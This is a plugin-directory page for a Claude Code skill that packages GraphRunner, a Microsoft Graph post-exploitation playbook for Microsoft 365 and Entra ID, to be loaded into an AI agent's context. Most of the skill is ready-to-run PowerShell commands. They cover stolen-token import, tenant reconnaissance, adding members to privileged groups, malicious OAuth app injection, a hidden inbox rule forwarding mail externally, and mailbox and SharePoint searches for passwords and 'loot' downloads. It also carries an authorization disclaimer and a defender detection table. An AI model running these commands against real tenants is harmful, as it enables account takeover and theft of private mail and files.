/cybersecurity-skills:post-exploiting-microsoft-graph-with-graphrunnerfrom cybersecurity-skills
Perform recon, persistence, privilege escalation, and data search via Microsoft Graph API using GraphRunner. Useful after obtaining a Graph token during authorized M365/Entra engagements.
Ships in cybersecurity-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
Get-GraphTokens device-code login, or imported tokens).# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModules
| ID | Tactic | Official Technique Name | Role in this skill |
|---|---|---|---|
| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
| T1528 | Credential Access | Steal Application Access Token | Get-GraphTokens device-code token acquisition |
| T1087.004 | Discovery | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 | Collection | Email Collection: Remote Email Collection | Invoke-SearchMailbox over Graph |
| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence |
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "[email protected]" -RuleName "Sync"
# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"
# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokens
| Tool | Purpose | Primary Source |
|---|---|---|
| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner |
| GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki |
| BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ |
| Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview |
| ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
| GraphRunner action | Telemetry source | What the defender sees |
|---|---|---|
Get-GraphTokens (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
Invoke-InjectOAuthApp | Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
Invoke-AddGroupMember / Invoke-SecurityGroupCloner | Entra audit logs | "Add member to group" on privileged/role-assignable groups |
Invoke-CreateInboxForwardingRule | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive | MicrosoftGraphActivityLogs | High-volume $search calls against /messages and Drive endpoints |
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Get-GraphTokens and refreshed successfully.Invoke-GraphRecon, Invoke-DumpCAPS, Invoke-DumpApps).What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
red-team, microsoft-graph, graphrunner, post-exploitation, entra-id, oauth-abuse
npx claudepluginhub rushyop/mirror-anthropic-cybersecurity-skills --plugin cybersecurity-skills817 skills in this plugin
/abusing-dpapi-for-credential-accessExtract DPAPI-protected secrets such as credentials and browser data offline and online./abusing-shadow-credentials-for-privescTake over Active Directory user and computer accounts by writing alternate certificate keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, and Certipy, then authenticate via PKINIT./achieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.2 plugins ship this exact skill · first indexed Jun 23, 2026
Other plugins' skills for the same job